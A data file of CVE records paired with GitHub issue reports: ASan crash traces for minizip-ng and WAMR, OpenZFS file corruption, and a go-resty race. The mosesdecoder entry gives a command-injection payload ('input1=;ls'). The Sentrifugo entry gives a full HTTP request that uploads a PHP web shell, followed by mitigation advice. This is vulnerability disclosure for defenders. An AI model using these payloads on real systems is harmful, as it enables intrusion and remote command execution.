#3 0x55555555c7ec in main (/root/test/minizip-ng/build/minizip+0x87ec)
#4 0x7ffff73a9082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/test/minizip-ng/build/minizip+0x976d) in mz_path_resolve
Shadow bytes around the buggy address:
0x0c1a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c1a7fff8010: 00 00 00 00 00 00 00 00 01 fa fa fa fa fa fa fa
0x0c1a7fff8020: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1a7fff8030: 00 00 01 fa fa fa fa fa fa fa fa[fa]00 00 00 00
0x0c1a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 01 fa fa fa
0x0c1a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1a7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1a7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1a7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3028155==ABORTING
```
#### POC
https://github.com/Akane0721/POC/blob/f37d805631e0a15bea1f15b6e1edfb3246a2e0fc/minizip-ng/poc1
#### Environment
```
Ubuntu 20.04
Clang 10.0.0
gcc 9.4.0
```
| Heap-buffer-overflow in mz_os.c:188 in mz_path_resolve | https://api.github.com/repos/zlib-ng/minizip-ng/issues/740/comments | 5 | 2023-11-08T12:26:58Z | 2023-11-13T18:05:46Z | https://github.com/zlib-ng/minizip-ng/issues/740 | 1,983,488,868 | 740 | 5,768 |
CVE-2023-48105 | 2023-11-22T23:15:10.617 | An heap overflow vulnerability was discovered in Bytecode alliance wasm-micro-runtime v.1.2.3 allows a remote attacker to cause a denial of service via the wasm_loader_prepare_bytecode function in core/iwasm/interpreter/wasm_loader.c. | {
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
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] | github.com | [
"bytecodealliance",
"wasm-micro-runtime"
] | ## Environments
**OS** : Ubuntu 18.04 5.4.0-150-generic
**Commit** : 52db362b897221c2a438197a0f2e4a9a300becd4
**Version** : iwasm 1.2.3
## Vulnerability Description
**Affected Tool** : iwasm (linux build)
**Affected Version** : = 1.2.3
**Impact** : Heap out of bounds read (size of 1)
* There is Heap out of bound read of size 1 in wasm_loader_prepare_bytecode function in /core/iwasm/interpreter/wasm_loader.c:7141
## PoC
**1. Input File**
[heap-overflow-poc.zip](https://github.com/bytecodealliance/wasm-micro-runtime/files/13270590/heap-overflow-poc.zip)
**2. Reproduce**
```shell
$ ~/wasm-micro-runtime/product-mini/platforms/linux/build/iwasm poc
```
**3. ASAN**
```shell
$ ~/wasm-micro-runtime/product-mini/platforms/linux/build/iwasm poc
==14712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000000ea at pc 0x564acc92478f bp 0x7ffe13134890 sp 0x7ffe13134880
READ of size 1 at 0x6030000000ea thread T0
#0 0x564acc92478e in wasm_loader_prepare_bytecode /home/dskim/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:7141
#1 0x564acc92478e in load_from_sections /home/dskim/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:3561
#2 0x564acc929266 in load /home/dskim/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:3921
#3 0x564acc929266 in wasm_loader_load /home/dskim/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:4088
#4 0x564acc80e8cf in wasm_runtime_load /home/dskim/wasm-micro-runtime/core/iwasm/common/wasm_runtime_common.c:1228
#5 0x564acc7fc090 in main /home/dskim/wasm-micro-runtime/product-mini/platforms/linux/../posix/main.c:931
#6 0x7f0c717bfc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#7 0x564acc800529 in _start (/home/dskim/wasm-micro-runtime/product-mini/platforms/linux/build/iwasm+0x24529)
0x6030000000ea is located 0 bytes to the right of 26-byte region [0x6030000000d0,0x6030000000ea)
allocated by thread T0 here:
#0 0x7f0c7242eb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x564acc801729 in bh_read_file_to_buffer /home/dskim/wasm-micro-runtime/core/shared/utils/uncommon/bh_read_file.c:96
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/dskim/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:7141 in wasm_loader_prepare_bytecode
Shadow bytes around the buggy address:
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fff8010: 00 00 fa fa fd fd fd fd fa fa 00 00 00[02]fa fa
0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff8030: fa fa 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14712==ABORTING
``` | Heap overflow in wasm_loader_prepare_bytecode | https://api.github.com/repos/bytecodealliance/wasm-micro-runtime/issues/2726/comments | 2 | 2023-11-06T17:37:06Z | 2024-01-05T11:35:46Z | https://github.com/bytecodealliance/wasm-micro-runtime/issues/2726 | 1,979,691,341 | 2,726 | 5,769 |
CVE-2023-48107 | 2023-11-22T23:15:10.663 | Buffer Overflow vulnerability in zlib-ng minizip-ng v.4.0.2 allows an attacker to execute arbitrary code via a crafted file to the mz_path_has_slash function in the mz_os.c file. | {
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] | 787 | https://github.com/zlib-ng/minizip-ng/issues/739 | [
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] | github.com | [
"zlib-ng",
"minizip-ng"
] | #### Description
heap-buffer-overflow (/minizip-ng/build/minizip+0x8d5a) in mz_path_has_slash
#### Version
```bash
$ ./minizip -h
minizip-ng 4.0.2 - https://github.com/zlib-ng/minizip-ng
---------------------------------------------------
-h
Usage: minizip [-x][-d dir|-l|-e][-o][-f][-y][-c cp][-a][-0 to -9][-b|-m|-t][-k 512][-p pwd][-s] file.zip [files]
-x Extract files
-l List files
-d Destination directory
-e Erase files
-o Overwrite existing files
-c File names use cp437 encoding (or specified codepage)
-a Append to existing zip file
-i Include full path of files
-f Follow symbolic links
-y Store symbolic links
-v Verbose info
-0 Store only
-1 Compress faster
-9 Compress better
-k Disk size in KB
-z Zip central directory
-p Encryption password
-s AES encryption
-b BZIP2 compression
-m LZMA compression
-n XZ compression
-t ZSTD compression
```
#### Replay
```bash
git clone https://github.com/zlib-ng/minizip-ng.git
cd minizip-ng/
export AFL_USE_ASAN=1
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake -S . -B build -D MZ_BUILD_TESTS=ON
cmake --build build
./minizip -x -o poc0
```
#### ASAN
```bash
-x -o /root/poc/minizip/poc0
Archive /root/poc/minizip/poc0
Extracting .\
=================================================================
==1735959==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000cf at pc 0x55555555cd5b bp 0x7fffffffdd20 sp 0x7fffffffdd10
READ of size 1 at 0x6020000000cf thread T0
#0 0x55555555cd5a in mz_path_has_slash (/root/test/minizip-ng/build/minizip+0x8d5a)
#1 0x555555572ac1 in mz_zip_reader_entry_save_file (/root/test/minizip-ng/build/minizip+0x1eac1)
#2 0x555555573ceb in mz_zip_reader_save_all (/root/test/minizip-ng/build/minizip+0x1fceb)
#3 0x55555555af70 in minizip_extract (/root/test/minizip-ng/build/minizip+0x6f70)
#4 0x55555555c7ec in main (/root/test/minizip-ng/build/minizip+0x87ec)
#5 0x7ffff73a9082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#6 0x555555558aed in _start (/root/test/minizip-ng/build/minizip+0x4aed)
0x6020000000cf is located 1 bytes to the left of 1-byte region [0x6020000000d0,0x6020000000d1)
allocated by thread T0 here:
#0 0x7ffff76a0a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x555555572749 in mz_zip_reader_entry_save_file (/root/test/minizip-ng/build/minizip+0x1e749)
#2 0x555555573ceb in mz_zip_reader_save_all (/root/test/minizip-ng/build/minizip+0x1fceb)
#3 0x55555555af70 in minizip_extract (/root/test/minizip-ng/build/minizip+0x6f70)
#4 0x55555555c7ec in main (/root/test/minizip-ng/build/minizip+0x87ec)
#5 0x7ffff73a9082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/test/minizip-ng/build/minizip+0x8d5a) in mz_path_has_slash
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa fd fd fa fa fd fd fa fa 00 07 fa fa 00 01
=>0x0c047fff8010: fa fa 00 01 fa fa 00 01 fa[fa]01 fa fa fa 01 fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1735959==ABORTING
```
#### POC
https://github.com/Akane0721/POC/blob/f37d805631e0a15bea1f15b6e1edfb3246a2e0fc/minizip-ng/poc0
#### Environment
```
Ubuntu 20.04
Clang 10.0.0
gcc 9.4.0
``` | Heap-buffer-overflow in mz_os.c:71 mz_path_has_slash | https://api.github.com/repos/zlib-ng/minizip-ng/issues/739/comments | 13 | 2023-11-08T12:19:50Z | 2023-11-13T18:05:37Z | https://github.com/zlib-ng/minizip-ng/issues/739 | 1,983,475,261 | 739 | 5,770 |
CVE-2023-49298 | 2023-11-24T19:15:07.587 | OpenZFS through 2.1.13 and 2.2.x through 2.2.1, in certain scenarios involving applications that try to rely on efficient copying of file data, can replace file contents with zero-valued bytes and thus potentially disable security mechanisms. NOTE: this issue is not always security related, but can be security related in realistic situations. A possible example is cp, from a recent GNU Core Utilities (coreutils) version, when attempting to preserve a rule set for denying unauthorized access. (One might use cp when configuring access control, such as with the /etc/hosts.deny file specified in the IBM Support reference.) NOTE: this issue occurs less often in version 2.2.1, and in versions before 2.1.4, because of the default configuration in those versions. | {
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"Issue Tracking",
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"Vendor Advisory"
] | github.com | [
"openzfs",
"zfs"
] | <!-- Please fill out the following template, which will help other contributors address your issue. -->
<!--
Thank you for reporting an issue.
*IMPORTANT* - Please check our issue tracker before opening a new issue.
Additional valuable information can be found in the OpenZFS documentation
and mailing list archives.
Please fill in as much of the template as possible.
-->
### System information
<!-- add version after "|" character -->
Type | Version/Name
--- | ---
Distribution Name | Gentoo
Distribution Version | (rolling)
Kernel Version | 6.5.11
Architecture | amd64
OpenZFS Version | 2.2.0
Reference | https://bugs.gentoo.org/917224
<!--
Command to find OpenZFS version:
zfs version
Commands to find kernel version:
uname -r # Linux
freebsd-version -r # FreeBSD
-->
### Describe the problem you're observing
When installing the Go compiler with Portage, many of the internal compiler commands have been corrupted by having most of the files replaced by zeros.
```
$ file /usr/lib/go/pkg/tool/linux_amd64/* | grep data
/usr/lib/go/pkg/tool/linux_amd64/asm: data
/usr/lib/go/pkg/tool/linux_amd64/cgo: data
/usr/lib/go/pkg/tool/linux_amd64/compile: data
/usr/lib/go/pkg/tool/linux_amd64/covdata: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=xHCzRQtrkEP-Bbxql0SF/zxsofCJFlBoPlUclgwBG/TrsgK6SKiY4q6TIhyBjU/UwcISvZgqfQaEf3Kr_Tq, not stripped
/usr/lib/go/pkg/tool/linux_amd64/cover: data
/usr/lib/go/pkg/tool/linux_amd64/link: data
/usr/lib/go/pkg/tool/linux_amd64/vet: data
$ hexdump /usr/lib/go/pkg/tool/linux_amd64/compile
0000000 0000 0000 0000 0000 0000 0000 0000 0000
*
0000fa0 0000 0000 0000 0000 0000 0000 5a41 3447
0000fb0 336a 3933 5a49 4f2d 6641 6342 7a6d 3646
0000fc0 582f 5930 5a4d 6761 5659 6f34 6d39 4130
0000fd0 4957 6555 2f67 686d 6a63 6675 5976 4e6a
0000fe0 346c 3070 5157 494e 5f41 5a2f 336d 6342
0000ff0 4e6d 4a4f 306c 4277 4a72 774d 4d41 006c
0001000 0000 0000 0000 0000 0000 0000 0000 0000
*
0ac9280 5a41 3447 336a 3933 5a49 4f2d 6641 6342
0ac9290 7a6d 3646 582f 5930 5a4d 6761 5659 6f34
0ac92a0 6d39 4130 4957 6555 2f67 686d 6a63 6675
0ac92b0 5976 4e6a 346c 3070 5157 494e 5f41 5a2f
0ac92c0 336d 6342 4e6d 4a4f 306c 4277 4a72 774d
0ac92d0 4d41 006c 0000 0000 0000 0000 0000 0000
0ac92e0 0000 0000 0000 0000 0000 0000 0000 0000
*
1139380 0000 0000 0000 0000 0000
1139389
```
I'm able to reproduce on two separate machines running 6.5.11 and ZFS 2.2.0.
ZFS does not see any errors with the pool.
```
$ zpool status
pool: zroot
state: ONLINE
scan: scrub repaired 0B in 00:07:24 with 0 errors on Wed Nov 1 00:06:45 2023
config:
NAME STATE READ WRITE CKSUM
zroot ONLINE 0 0 0
nvme-WDS100T1X0E-XXXXXX_XXXXXXXXXXXX-part2 ONLINE 0 0 0
errors: No known data errors
$ zpool status -t
pool: zroot
state: ONLINE
scan: scrub repaired 0B in 00:07:24 with 0 errors on Wed Nov 1 00:06:45 2023
config:
NAME STATE READ WRITE CKSUM
zroot ONLINE 0 0 0
nvme-WDS100T1X0E-XXXXXX_XXXXXXXXXXXX-part2 ONLINE 0 0 0 (100% trimmed, completed at Tue 31 Oct 2023 11:15:47 PM GMT)
errors: No known data errors
````
### Describe how to reproduce the problem
1. On a system running ZFS 2.2.0, upgrade pools to enable the block cloning feature.
2. `emerge -1 dev-lang/go`, where Portage's TMPDIR is on ZFS.
3. After a successful install of Go, the files in `/usr/lib/go/pkg/tool/linux_amd64/compile` are corrupted.
I was able to reproduce with and without Portage's "native-extensions" feature. I was unable to reproduce after changing Portage's TMPDIR to another filesystem (such as tmpfs).
### Include any warning/errors/backtraces from the system logs
<!--
*IMPORTANT* - Please mark logs and text output from terminal commands
or else Github will not display them correctly.
An example is provided below.
Example:
```
this is an example how log text should be marked (wrap it with ```)
```
-->
| some copied files are corrupted (chunks replaced by zeros) | https://api.github.com/repos/openzfs/zfs/issues/15526/comments | 338 | 2023-11-14T13:30:40Z | 2024-03-13T01:57:10Z | https://github.com/openzfs/zfs/issues/15526 | 1,992,751,216 | 15,526 | 5,771 |
CVE-2023-6309 | 2023-11-27T02:15:42.797 | A vulnerability, which was classified as critical, was found in moses-smt mosesdecoder up to 4.0. This affects an unknown part of the file contrib/iSenWeb/trans_result.php. The manipulation of the argument input1 leads to os command injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-246135. | {
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"vectorString": "AV:A/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 5.1,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.1,
"impactScore": 3.4,
"source": "cna@vuldb.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cna@vuldb.com",
"tags": [
"Exploit",
"Issue Tracking",
"VDB Entry"
],
"url": "https://github.com/moses-smt/mosesdecoder/issues/237"
},
{
"source": "cna@vuldb.com",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?ctiid.246135"
},
{
"source": "cna@vuldb.com",
"tags": [
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.246135"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"VDB Entry"
],
"url": "https://github.com/moses-smt/mosesdecoder/issues/237"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?ctiid.246135"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.246135"
}
] | [
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"matchCriteriaId": "8F7BF510-5916-4C34-9DB3-7EB4C12A9DE3",
"versionEndExcluding": "4.0",
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"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"78"
] | 78 | https://github.com/moses-smt/mosesdecoder/issues/237 | [
"Exploit",
"Issue Tracking",
"VDB Entry"
] | github.com | [
"moses-smt",
"mosesdecoder"
] | https://github.com/moses-smt/mosesdecoder/blob/master/contrib/iSenWeb/trans_result.php
poc: input1=;ls | webshell exists in the project | https://api.github.com/repos/moses-smt/mosesdecoder/issues/237/comments | 3 | 2023-11-03T02:31:42Z | 2025-01-16T18:24:05Z | https://github.com/moses-smt/mosesdecoder/issues/237 | 1,975,366,922 | 237 | 5,772 |
CVE-2023-29770 | 2023-11-28T00:15:07.033 | In Sentrifugo 3.5, the AssetsController::uploadsaveAction function allows an authenticated attacker to upload any file without extension filtering. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
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"attackComplexity": "LOW",
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/sapplica/sentrifugo"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/sapplica/sentrifugo/issues/384"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/sapplica/sentrifugo"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/sapplica/sentrifugo/issues/384"
}
] | [
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"vulnerable": true
}
],
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"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/sapplica/sentrifugo/issues/384 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"sapplica",
"sentrifugo"
] | # Bug: Authenticated - Unrestricted file upload
## Description
The `AssetsController::uploadsaveAction` function allows an authenticated attacker to upload any file without extension filtering.
## Vulnerability Detail
The `uploadsaveAction` function allows an attacker to take full control of the extension and save it to `ASSETS_IMAGES_TEMP_PATH`
```php
/* /application/modules/assets/controllers/AssetsController.php */
public function uploadsaveAction()
{
$assetsModel = new Assets_Model_Assets();
$user_id = sapp_Global::_readSession('id');
$image;
$filedata = array();
// Validate file with size greater than default(Upload Max Filesize)limit
if ($_FILES["myfile"]["size"] == 0 || $_FILES["myfile"]["size"] > (2*1024*1024))
{
$this->_helper->json(array('error' => 'filesize'));
}
else if(isset($_FILES["myfile"])) {
$fileName = $_FILES["myfile"]["name"];
$image = $fileName;
$fileName = preg_replace('/[^a-zA-Z0-9.\']/', '_', $fileName);
$newName = time().'_'.$user_id.'_'.str_replace(' ', '_', $fileName);
$filedata['original_name'] = $fileName;
$filedata['new_name'] = $newName;
$file_type_array = explode('.',$filedata['original_name']);
$file_type = $file_type_array[1];
move_uploaded_file($_FILES["myfile"]["tmp_name"],ASSETS_IMAGES_TEMP_PATH.$newName);
...
```
## Proof of concept
REQUEST:
```
POST /sentrifugo/index.php/assets/assets/uploadsave HTTP/2
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Cookie: PHPSESSID=4c6885df75ee21adc859130d344ad10e
Content-Type: multipart/form-data; boundary=---------------------------105724483522942151783772139738
Content-Length: 256
-----------------------------105724483522942151783772139738
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: image/jpeg
<?php
system($_GET["cmd"]);
?>
-----------------------------105724483522942151783772139738--
```
RESPONSE:
```
HTTP/1.1 200 OK
Date: Wed, 08 Mar 2023 06:41:21 GMT
Server: Apache/2.2.29 (Unix) mod_wsgi/3.5 Python/2.7.10 PHP/5.6.10 mod_ssl/2.2.29 OpenSSL/0.9.8zh DAV/2 mod_fastcgi/2.4.6 mod_perl/2.0.9 Perl/v5.22.0
X-Powered-By: PHP/5.6.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 78
Connection: close
Content-Type: text/html;charset=UTF-8
{"filedata":{"original_name":"shell.php","new_name":"1678257682_1_shell.php"}}
```
## Solution
- Validate file type: Ensure that the uploaded file matches the expected file type and size limit. This can be done by checking the file extension or using a file type validation library.
- Sanitize file names: Ensure that the file names are sanitized to prevent directory traversal attacks. This involves removing any special characters, whitespace, and other potentially harmful characters.
- Store files outside the webroot: Store uploaded files outside of the web application's root directory to prevent them from being executed as scripts..
- Implement access controls: Implement access controls to ensure that only authorized users can upload files. This can include requiring authentication, setting permissions, and limiting upload privileges.
## Acknowledgement
nhienit at bl4ckh0l3 from Galaxy One | Authenticated - Unrestricted file upload | https://api.github.com/repos/sapplica/sentrifugo/issues/384/comments | 0 | 2023-03-08T06:58:49Z | 2023-03-08T07:32:24Z | https://github.com/sapplica/sentrifugo/issues/384 | 1,614,753,704 | 384 | 5,773 |
CVE-2023-45286 | 2023-11-28T17:15:08.280 | A race condition in go-resty can result in HTTP request body disclosure across requests. This condition can be triggered by calling sync.Pool.Put with the same *bytes.Buffer more than once, when request retries are enabled and a retry occurs. The call to sync.Pool.Get will then return a bytes.Buffer that hasn't had bytes.Buffer.Reset called on it. This dirty buffer will contain the HTTP request body from an unrelated request, and go-resty will append the current HTTP request body to it, sending two bodies in one request. The sync.Pool in question is defined at package level scope, so a completely unrelated server could receive the request body. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security@golang.org",
"tags": null,
"url": "https://github.com/go-resty/resty/commit/577fed8730d79f583eb48dfc81674164e1fc471e"
},
{
"source": "security@golang.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/go-resty/resty/issues/739"
},
{
"source": "security@golang.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/go-resty/resty/issues/743"
},
{
"source": "security@golang.org",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/go-resty/resty/pull/745"
},
{
"source": "security@golang.org",
"tags": [
"Vendor Advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2023-2328"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://github.com/go-resty/resty/commit/577fed8730d79f583eb48dfc81674164e1fc471e"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/go-resty/resty/issues/739"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/go-resty/resty/issues/743"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/go-resty/resty/pull/745"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2023-2328"
}
] | [
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"nodes": [
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],
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"operator": "OR"
}
],
"operator": null
}
] | [
"362"
] | 362 | https://github.com/go-resty/resty/issues/739 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"go-resty",
"resty"
] | We detected a data race in resty's middleware when releasing/resetting the buffer. Please check.
Go Version: 1.21.1
Resty Version: v2.10.0
```
==================
WARNING: DATA RACE
Read at 0x00c001e91ce0 by goroutine 537694:
bytes.(*Buffer).Reset()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/bytes/buffer.go:107 +0x46
github.com/go-resty/resty/v2.releaseBuffer()
/testDirectory/vendor/github.com/go-resty/resty/v2/util.go:298 +0x41
github.com/go-resty/resty/v2.handleRequestBody()
/testDirectory/vendor/github.com/go-resty/resty/v2/middleware.go:484 +0x6e
github.com/go-resty/resty/v2.parseRequestBody()
/testDirectory/vendor/github.com/go-resty/resty/v2/middleware.go:193 +0x290
github.com/go-resty/resty/v2.(*Client).execute()
/testDirectory/vendor/github.com/go-resty/resty/v2/client.go:1164 +0x550
github.com/go-resty/resty/v2.(*Request).Execute.func2()
/testDirectory/vendor/github.com/go-resty/resty/v2/request.go:947 +0x179
github.com/go-resty/resty/v2.Backoff()
/testDirectory/vendor/github.com/go-resty/resty/v2/retry.go:115 +0x1d5
github.com/go-resty/resty/v2.(*Request).Execute()
/testDirectory/vendor/github.com/go-resty/resty/v2/request.go:941 +0xac4
github.com/go-resty/resty/v2.(*Request).Post()
/testDirectory/vendor/github.com/go-resty/resty/v2/request.go:862 +0x344
github.wdf.sap.corp/ift/sl-core/pkg/slp/client.sumHandler.sendUserInput()
/testDirectory/vendor/github.wdf.sap.corp/ift/sl-core/pkg/slp/client/sum_handler.go:69 +0x2cf
github.wdf.sap.corp/ift/sl-core/pkg/slp/client.(*sumHandler).sendUserInput()
<autogenerated>:1 +0x84
github.wdf.sap.corp/ift/sl-core/pkg/slp/client.(*Client).SendUserInput()
/testDirectory/vendor/github.wdf.sap.corp/ift/sl-core/pkg/slp/client/slp_client.go:536 +0x119e
github.wdf.sap.corp/ift/slocon/pkg/task/slpclient.FinishedResponse.evaluate()
/testDirectory/pkg/task/slpclient/onstatefinished.go:160 +0x10a2
github.wdf.sap.corp/ift/slocon/pkg/task/slpclient.(*dialogHandler).evaluateResponses()
/testDirectory/pkg/task/slpclient/dialogHandler.go:685 +0x977
